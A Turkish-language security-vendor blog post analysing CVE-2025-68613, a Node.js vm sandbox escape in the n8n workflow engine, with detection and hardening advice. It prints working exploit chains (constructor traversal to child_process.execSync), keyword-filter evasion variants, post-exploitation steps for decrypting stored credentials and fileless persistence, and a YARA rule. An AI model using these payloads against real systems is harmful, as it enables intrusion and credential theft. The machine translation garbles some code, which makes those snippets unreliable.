Penligent Başlık

CVE-2025-68613 Derin Dalış: Node.js Sandbox Kaçışları n8n İş Akışı Motorunu Nasıl Paramparça Ediyor?

2025'in son günlerinde, DevSecOps topluluğu aşağıdaki bilgilerin ifşa edilmesiyle sarsıldı CVE-2025-68613maksimum CVSS puanı taşıyan kritik bir güvenlik açığıdır. 10.0. Hedef şuydu n8nDünyanın en popüler açık kaynaklı iş akışı otomasyon aracı olan ve binlerce işletme için merkezi sinir sistemi görevi gören CRM'ler, veritabanları ve bulut altyapısı arasındaki verileri düzenleyen

Seçkin güvenlik mühendisleri için bunu "düşük kodlu bir güvenlik açığı" olarak değerlendirmek bir hatadır. CVE-2025-68613, modern JavaScript istismarı konusunda bir ustalık sınıfıdır. JavaScript'in nasıl Node.js Dinamik Çalışma Zamanıkusurlu bir durumla birleştirildiğinde Nesne Yetenek Modeli ve Prototip Kirliliği teknikleri, iyi huylu bir otomasyon platformunu kök düzeyinde bir sahil başına dönüştürmek için silah haline getirilebilir.

Bu makale, sandbox kaçış ilkellerinin bayt düzeyinde bir incelemesini yapmak için yüzeysel raporlamayı bırakıyor, sandbox'ın başarısızlığı vm modülü ve yapay zeka odaklı mantık analizinin Mavi Ekipler için oyunu nasıl değiştirdiği.

Başarısızlığın Mimarisi: Neden Node.js vm Modül Araları

İstismarı anlamak için önce ortamı anlamalıyız. n8n, kullanıcıların JavaScript ifadelerini kullanarak verileri manipüle etmesine izin verir, genellikle {{ }} sözdizimi. Bu güvenilmeyen kullanıcı kodunu çalıştırmak için n8n (1.122.0 sürümünden önce) yerel Node.js vm Modül.

Bu vm modülü, V8 Sanal Makine bağlamları içinde kod derlemek ve çalıştırmak için API'ler sağlar. Yürütülen kod için global kapsam görevi gören bağlamlaştırılmış bir nesne olan "sandbox "ın oluşturulmasına olanak tanır.

"Güvenlik" Yanılsaması

Önermesi vm.runInNewContext(code, sandbox) içerisindeki kodun dışarıdaki nesnelere erişememesidir. kum havuzu nesne.

  • Teori: Kum havuzu bir adadır.
  • Gerçeklik: Ada, anakaraya köprülerle (prototip zinciri) bağlıdır.

Ana bilgisayar uygulaması geçerse herhangi bir nesnesini kum havuzuna sokmak (örneğin, ortam değişkenlerini process.env veya fayda fonksiyonları aracılığıyla yardımcılar nesnesi), izolasyon tehlikeye girer. n8n'in durumunda, yürütme bağlamı, ana ortamın nesne grafiğine dolaylı olarak geri bağlanan iş akışı verilerine referanslar içeriyordu.

Anahtar Teknik Çıkarım: Node.js vm modülü değil bir güvenlik mekanizmasıdır. Bu bir kapsam belirleme mekanizmasıdır. Node.js dokümantasyonunun açıkça uyardığı gibi: "Güvenilmeyen kodları çalıştırmak için kullanmayın." CVE-2025-68613 bu uyarının göz ardı edilmesinin doğrudan sonucudur.

Node.js Sandbox

İstismarın Anatomisi: Prototip Zincirinden RCE'ye

CVE-2025-68613 için istismar ilkeli, JavaScript prototip zincirinden kaçmak için geçiş yapmak etrafında döner vm bağlamına ve ana bilgisayarın Fonksiyon kurucu.

"Yapıcı" Tırmanış Tekniği

JavaScript'te nesneler özelliklerini prototiplerinden miras alırlar.

  1. Bu: n8n ifadesinin içinde, Bu sandbox bağlam nesnesine başvurur.
  2. this.yapıcı: Bu, bağlam nesnesini oluşturan işleve işaret eder. Çoğu durumda vm uygulamalarında, bu durum Nesne kurucu içeride kum havuzu.
  3. this.constructor.constructor: Gedik burada yatıyor. Çünkü Nesne sandbox içindeki kurucu nihayetinde V8 motorunun ilkellerinden türetilmiştir, kurucusunu çaprazlamak genellikle Ev Sahibi Ortamın Fonksiyon kurucu.

Saldırgan bir kez Ana Bilgisayarın Fonksiyon yapıcı, etkin bir şekilde bir eval() kum havuzunun dışında Ana Bilgisayar bağlamında çalışan eşdeğeri.

Ölüm Zinciri Kodu

Temel filtreleri aşmak üzere tasarlanmış bir silah yükünün mantığını inceleyelim.

JavaScript

`// Adım 1: Sandbox'tan Çıkış // Yabancı Fonksiyon kurucusuna erişiyoruz (Host Context) const ForeignFunction = this.constructor.constructor;

// Adım 2: Aradaki Boşluğu Kapatın // Foreign Function'ı kullanarak 'process' nesnesini döndüren bir closure oluşturuyoruz. // Bu yeni fonksiyon sandbox kısıtlamalarına bağlı DEĞİLDİR. const getProcess = ForeignFunction('return process');

// Adım 3: Yürütme // Global süreç tanıtıcısını almak için fonksiyonu yürütüyoruz. const proc = getProcess();

// Adım 4: Yetenekleri İçe Aktar // Dahili modül yükleyiciye erişmek için process.mainModule kullanıyoruz. const require = proc.mainModule.require;

// Adım 5: Silahlandırma // 'child_process'i yüklüyoruz ve bir kabuk komutu çalıştırıyoruz. const result = require('child_process').execSync('cat /etc/passwd').toString();`

Bir n8n iş akışı bağlamında, bu zincirin tamamı küçültülür ve "Set" düğüm değişkeni veya HTTP İsteği başlık değeri gibi meşru bir ifade alanına enjekte edilir.

Gelişmiş Kaçınma: Statik Analizi Atlatmak

CVE-2025-68613 özel bug bounty çevrelerinde ilk kez fısıldandığında, bazı yöneticiler WAF kuralları veya aşağıdaki gibi anahtar kelimeleri engelleyen regex filtreleri kullanarak bunu azaltmaya çalıştı süreç, kurucuveya gerektirir.

JavaScript gibi dinamik bir dil için statik filtrelemeyi atlamak önemsizdir.

Teknik A: Dize Aritmetiği ve Kodlama

Saldırganlar, dize birleştirme veya ASCII karakter kodlarını kullanarak çalışma zamanında yasaklanmış anahtar kelimeleri yeniden oluşturabilir.

JavaScript

`{ // "yapıcı" ve "süreç" regex filtrelerini atlayarak (() => { const c = "con" + "yapıcı"; const p = "pro" + "cess";

// Nokta gösterimi yerine dizi erişim gösteriminin kullanılması
const foreignFunc = this[c][c];
const proc = foreignFunc("return " + p)();

return proc.mainModule.require("child_process").execSync("id").toString();

})() }}`

Teknik B: Reflect API ve Proxy Gizleme

Gelişmiş istismarlar Yansıtma Doğrudan adlandırma olmadan özellikleri incelemek ve çağırmak için API, Soyut Sözdizimi Ağacı (AST) analizini geleneksel güvenlik araçları için önemli ölçüde zorlaştırır.

JavaScript

`{{ // Reflect'i kullanarak yapıcıyı isimlendirmeden dinamik olarak bulmak const keys = Reflect.ownKeys(this.proto); const consKey = keys.find(k => k.toString().charCodeAt(0) == 99); // 'c'

const ForeignFunction = Reflect.get(this, consKey)[consKey];
// RCE ile devam edin...

}}`

Bu, kalıp eşleştirmenin yorumlanan dillerdeki mantık açıklarına karşı neden temelde kusurlu olduğunu göstermektedir.

İstismar Sonrası: Nihai C2 Pivotu olarak n8n

Bir n8n örneğinde RCE elde etmek, genellikle standart bir web sunucusunu tehlikeye atmaktan daha değerlidir. n8n, bir kuruluşun en hassas veri borularının kesiştiği noktada yer alır.

1. Kimlik Bilgileri Kasası

n8n, bağlı hizmetler (AWS, Stripe, Salesforce, PostgreSQL) için kimlik bilgilerini dahili veritabanında (varsayılan olarak SQLite ~/.n8n/database.sqlite). Bunlar şifrelenmişken, bir RCE saldırganın şunları yapmasına izin verir:

  1. Şifreleme anahtarını ortam değişkeninden okuyun (N8N_ENCRYPTION_KEY) veya yapılandırma dosya.
  2. Tüm kimlik bilgisi deposunun şifresini çözün.
  3. Geçerli, yüksek ayrıcalıklı anahtarlar kullanarak bulut altyapısına yanal olarak geçiş yapın.

2. Dosyasız Kalıcılık

Geleneksel kötü amaçlı yazılımlar, EDR (Uç Nokta Tespit ve Müdahale) çözümlerinin tarayabileceği bir ikili dosyayı diske bırakır.

n8n'de bir saldırgan bir "Gölge İş Akışı" oluşturabilir:

  • Tetikleyici: Her 10 dakikada bir çalışacak şekilde ayarlanmış bir "Cron" düğümü.
  • Eylem: Kötü amaçlı JavaScript çalıştıran bir "İşlev" düğümü (örneğin, bir ters kabuk veya veri sızıntısı komut dosyası).
  • Depolama: Kötü amaçlı yazılım var sadece n8n veritabanında bir JSON nesnesi olarak. Bu dosyasızkalıcıdır ve meşru iş mantığı ile harmanlanır.

Yapay Zeka Güdümlü Mantık Tespiti: Penligent Avantajı

CVE-2025-68613'ü tespit etmek geleneksel DAST (Dinamik Uygulama Güvenlik Testi) tarayıcıları için tam bir kabustur.

  • Sorun: Tarayıcılar "kör bulanıklaştırmaya" dayanır. Aşağıdaki gibi yükler gönderirler ' VEYA 1=1 -- veya <script>alert(1)</script>. Bir ifade motoruna karşı, bu yükler basitçe söz dizimi hatalarına neden olur. İş akışı başarısız olur ve tarayıcı "Temiz" raporu verir.
  • Mantık Boşluğu: Bunu tespit etmek için bir araç şunları anlamalıdır JavaScript sözdizimi ve İş Akışı Bağlamı.

İşte burası Penligent.ai bir paradigma değişimini temsil eder. Penligent şunları kullanır Bağlam Farkında Yapay Zeka Ajanları anlamsal analiz gerçekleştiren:

  1. Sözdizimsel Bulanıklaştırma: Penligent'ın temsilcileri {{ }} sözdizimini bir kod enjeksiyon noktası olarak kullanır. Aracı, rastgele dizeler yerine geçerli JavaScript nesneleri oluşturur.
  2. Nesne Yeteneği Araştırması: Aracı, sanal alan sınırlarını test etmek için güvenli problar enjekte eder (örn, {{ this.constructor.name }}). Çıktıyı analiz eder. "Object" veya "Function" görürse, prototip zincirinin sağlam olduğu sonucuna varır.
  3. Karartma Mutasyonu: Bir prob engellenirse (örneğin, "Erişim reddedildi"), Penligent'in yapay zekası, engellemenin yalnızca yüzeysel olup olmadığını doğrulamak için yukarıda belirtilen kaçınma tekniklerini (String Arithmetic, Reflect API) kullanarak yükü otomatik olarak yeniden düzenler.

Penligent, bir insan araştırmacının yinelemeli metodolojisini simüle ederek istismar edilebilirlik yanlış pozitiften ziyade bir Kavram Kanıtı (PoC) sağlar.

Mavi Takım El Kitabı: Tespit ve Savunma

Mavi Takım için CVE-2025-68613'ü hafifletmek, uygulama katmanının ihlal edilebileceğini varsayan derinlemesine bir savunma stratejisi gerektirir.

1. Ağ İmzaları (YARA/Snort)

Yük şifreleme ağ tespitini zorlaştırırken, birçok saldırgan varsayılan yükleri kullanır. HTTP POST istekleri için izleyin /rest/workflows Şüpheli JavaScript kalıpları içeren.

YARA Kuralı Örneği:

rule DETECT_N8N_EXPRESSION_INJECTION { meta: description = "Detects JS sandbox escape attempts in n8n (CVE-2025-68613)" severity = "Critical" stringler: $token_start = "{{" $js_constructor = "constructor" $js_process = "process.mainModule" $js_child = "child_process" $js_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" condition: $token_start ve (2 of ($js_*)) }

2. Mimari Sertleştirme

  • Konteynerleştirme: n8n'i asla root olarak çalıştırmayın. Salt okunur dosya sistemine sahip köksüz Docker kapsayıcıları kullanın.
  • Cap Drop: Konteyneri şu şekilde çalıştırın -cap-drop=ALL RCE'den sonra bile ayrıcalık artışını önlemek için.
  • Çıkış Filtreleme: Kubernetes Ağ İlkelerini veya AWS Güvenlik Gruplarını, iş akışları için gereken beyaz listedeki API'ler dışında n8n konteynerinden gelen tüm giden trafiği engelleyecek şekilde yapılandırın. Bu, ters kabuk bağlantısını öldürür.

3. Ortam Kilitleme

Ortam değişkenini ayarlayın N8N_BLOCK_ENV_ACCESS_IN_NODE=true. Daha sonraki sürümlerde tanıtılan bu özellik, aşağıdakilere erişimi engellemeye çalışır process.env düğümlerin içinden, kod yürütme elde edilse bile kimlik bilgisi hırsızlığını azaltır.

Sonuç: Örtülü Güvenin Sonu

CVE-2025-68613, Low-Code platformlarının güvenliği için bir dönüm noktası niteliğindedir. Bize şunu hatırlatıyor esnekli̇k güvenli̇ği̇n düşmanidir. Kullanıcılara verileri manipüle etmeleri için JavaScript gibi Turing-complete bir dilin gücünü verdiğimizde, onları uygulamamızın çekirdeğine davet etmiş oluruz.

Güvenli otomasyonun geleceği "daha iyi regex filtrelerinde" ya da "yamalanmış vm modülleri" gibi mimari izolasyon teknolojilerinde WebAssembly (Wasm) veya V8 İzolatlarıgerçek bellek güvenli sandboxing sağlar. O zamana kadar, titiz yama, yapay zeka odaklı testler ve agresif ağ segmentasyonu tek savunmamız olmaya devam ediyor.

Güvenilir Referanslar ve İleri Okuma

Gönderiyi paylaş:
İlgili Yazılar
tr_TRTurkish